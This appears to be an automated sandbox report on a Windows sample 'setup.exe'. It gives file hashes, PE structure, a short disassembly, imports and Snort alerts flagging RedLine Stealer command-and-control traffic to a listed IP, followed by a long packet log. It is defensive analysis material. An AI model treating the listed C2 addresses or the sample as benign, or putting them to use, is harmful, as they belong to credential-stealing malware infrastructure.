SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.2359263506290326
Encrypted:	false
SSDEEP:	3:t:t
MD5:	F1CA165C0DA831C9A17D08C4DECBD114
SHA1:	D750F8260312A40968458169B496C40DACC751CA
SHA-256:	ACCF036232D2570796BF0ABF71FFE342DC35E2F07B12041FE739D44A06F36AF8
SHA-512:	052FF09612F382505B049EF15D9FB83E46430B5EE4EEFB0F865CD1A3A50FDFA6FFF573E0EF940F26E955270502D5774187CD88B90CD53792AC1F6DFA37E4B646
Malicious:	false
Preview:	Ok.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.334046532258935
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	setup.exe
File size:	217088
MD5:	9a753beb650c0d6827e05507349d5e2c
SHA1:	3d2ff8f05f38d4ed25ceb0acdaccb7a77947553a
SHA256:	d0d72bb86445f46afd1cff56e317543011d1d4a4b6ba18791b63b26a7282af7c
SHA512:	c644e9d0ce686916012f69bfa206de460454a7f3edb923893e625d200a3a3701ac33bc2bdcd2602ff247475de55c043a9a7226cb64000a8a107afdea12d053fa
SSDEEP:	6144:C0ZHhsUGfobUee60OB8coWdGe7/M7tp6:bzGfobUeY4hoWj7/M7
TLSH:	0E24BE037A5264A9C961D47CB0B396F0E6BE5D2633F52049375F30A677136BA13BA23C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#...g...g...g...y.h.t...y.~.1...y.y.C...@'..c.......d...g...?...n.y.f...y.i.f...n.l.f...Richg...........PE..L....[.c...........

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x404a73
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63825B18 [Sat Nov 26 18:29:44 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	3f7efe3b4d94e5183ceea7403176c7cf

Entrypoint Preview

Instruction
call 00007F8E94E90F79h
jmp 00007F8E94E8EBA9h
mov edi, edi
push esi
push 00000001h
push 00435B98h
mov esi, ecx
call 00007F8E94E90FF9h
mov dword ptr [esi], 0041017Ch
mov eax, esi
pop esi
ret
mov dword ptr [ecx], 0041017Ch
jmp 00007F8E94E9105Eh
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov dword ptr [esi], 0041017Ch
call 00007F8E94E9104Bh
test byte ptr [ebp+08h], 00000001h
je 00007F8E94E8ED09h
push esi
call 00007F8E94E910B4h
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
mov edi, edi
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F8E94E90FCAh
mov dword ptr [esi], 0041017Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0Ch
jmp 00007F8E94E8ED0Fh
push dword ptr [ebp+08h]
call 00007F8E94E912EEh
pop ecx
test eax, eax
je 00007F8E94E8ED11h
push dword ptr [ebp+08h]
call 00007F8E94E91208h
pop ecx
test eax, eax
je 00007F8E94E8ECE8h
leave
ret
test byte ptr [00436C08h], 00000001h
mov esi, 00436BFCh
jne 00007F8E94E8ED1Bh
or dword ptr [00436C08h], 01h
mov ecx, esi
call 00007F8E94E8EC59h
push 0040E115h
call 00007F8E94E91175h
pop ecx
push esi
lea ecx, dword ptr [ebp-0Ch]
call 00007F8E94E9EC92h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 SP1 build 30729
[RES] VS2008 build 21022
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11e9c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x38000	0x6d0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xd129	0xd200	False	0.5131510416666667	data	6.665419989260038	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xf000	0x3574	0x3600	False	0.5451388888888888	data	6.403670093812132	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x13000	0x247d8	0x23c00	False	0.7598680616258742	data	7.247406764296212	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x38000	0x6d0	0x800	False	0.3876953125	data	3.487089013879229	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x38200	0x4d0	data	English	United States
RT_MANIFEST	0x380a0	0x15a	ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	FreeConsole, Sleep, MultiByteToWideChar, GetModuleHandleA, GetProcAddress, GetCommandLineA, SetUnhandledExceptionFilter, GetModuleHandleW, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetLastError, GetEnvironmentStringsW, SetHandleCount, GetFileType, GetStartupInfoA, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, HeapCreate, VirtualFree, HeapFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, HeapAlloc, RaiseException, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, IsDebuggerPresent, LeaveCriticalSection, EnterCriticalSection, LoadLibraryA, InitializeCriticalSectionAndSpinCount, VirtualAlloc, HeapReAlloc, RtlUnwind, HeapSize, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA
COMDLG32.dll	GetOpenFileNameA, GetSaveFileNameA
ADVAPI32.dll	RegQueryValueExA, RegCreateKeyA, RegSetValueA, GetUserNameA, RegCloseKey, RegOpenKeyExA, AdjustTokenPrivileges, LookupPrivilegeValueA, OpenProcessToken, RegDeleteKeyA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.579.137.204.11249703802850286 11/27/22-04:36:39.150710	TCP	2850286	ETPRO TROJAN Redline Stealer TCP CnC Activity	49703	80	192.168.2.5	79.137.204.112
192.168.2.579.137.204.11249703802850027 11/27/22-04:36:14.045251	TCP	2850027	ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init	49703	80	192.168.2.5	79.137.204.112
192.168.2.5172.66.43.60497104432039616 11/27/22-04:37:16.996891	TCP	2039616	ET TROJAN Win32/Agent.AETZ CnC Checkin	49710	443	192.168.2.5	172.66.43.60
79.137.204.112192.168.2.580497032850353 11/27/22-04:36:18.709988	TCP	2850353	ETPRO MALWARE Redline Stealer TCP CnC - Id1Response	80	49703	79.137.204.112	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2022 04:36:13.663640976 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:13.693115950 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:13.693319082 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:14.045250893 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:14.074717999 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:14.147433043 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:14.202637911 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:18.610277891 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:18.640038967 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:18.709988117 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:18.812314034 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:25.603024006 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:25.632850885 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:25.703886986 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:25.703927040 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:25.703941107 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:25.703958988 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:25.703974009 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:25.704144955 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:25.704144955 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.077025890 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.106762886 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.106794119 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.106808901 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.106821060 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.106832981 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.106847048 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.106859922 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.106885910 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.106903076 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.106915951 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.107004881 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.107004881 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.107136011 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.107136011 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.136707067 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.136766911 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.136797905 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.136826992 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.136857986 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.136888981 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.136918068 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.136950016 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.136960030 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.136960030 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.136981010 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.136960030 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.137027979 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.137061119 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.137129068 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.137129068 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.137130022 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.137204885 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.137208939 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.137208939 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.137209892 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.137238026 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.137365103 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.166676044 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.166708946 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.166722059 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.166740894 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.166758060 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.166776896 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.166805029 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.166822910 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.166917086 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.166918039 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.167036057 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.167037010 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.167581081 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.167597055 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.167614937 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.167632103 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.167726040 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.167726040 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.167834997 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.167849064 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.167857885 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.167973995 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.167994022 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168071985 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168090105 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168107986 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168179035 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.168179035 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.168216944 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168235064 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168284893 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168334007 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168350935 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168428898 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.168473959 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.168473959 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.168488026 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168505907 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.168579102 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.196327925 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196356058 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196366072 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196373940 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196382999 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196392059 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196399927 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196408033 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196420908 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196429968 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196438074 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196532965 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196548939 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196562052 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196578026 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196587086 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.196825027 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.196902990 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197057009 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197101116 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197129011 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197150946 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197163105 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197171926 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197262049 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197277069 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197285891 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197318077 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197402000 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197416067 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197489023 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197504044 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197563887 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197601080 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197660923 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197676897 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197689056 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197726965 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197840929 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197849035 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197875023 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197916031 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.197923899 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198152065 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198184967 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198210001 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198232889 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198257923 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198280096 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198302031 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198323965 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198347092 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198352098 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.198373079 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198421955 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198462963 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198483944 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.198488951 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.198513985 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226176977 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226207018 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226228952 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226361990 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226383924 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226428032 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226450920 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226502895 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226526976 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226547956 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226569891 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226592064 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226613998 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226694107 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226717949 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.226741076 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227005959 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227055073 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227113008 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227153063 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227194071 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227235079 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227273941 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227314949 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227349043 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227371931 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227559090 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227581978 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227602959 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227663040 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227700949 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227722883 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227742910 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227762938 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227785110 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227869987 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227891922 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227912903 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.227912903 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.227993011 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228018045 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228039026 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228060961 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228070974 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.228085041 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228106022 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228213072 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228236914 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228257895 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228279114 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228300095 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228319883 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228342056 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228363037 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228383064 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228413105 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228435040 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228458881 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.228552103 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.257474899 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.258079052 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.258258104 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.287642956 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.291141033 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.291357040 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.320844889 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.322925091 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.323098898 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.331053019 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.335127115 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.335333109 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.352619886 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.352674961 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.352710009 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.352740049 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.352771044 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.371043921 CET	80	49703	79.137.204.112	192.168.2.5
Nov 27, 2022 04:36:38.375833035 CET	49703	80	192.168.2.5	79.137.204.112
Nov 27, 2022 04:36:38.376137972 CET	49703	80	192.168.2.5	79.137.204.112
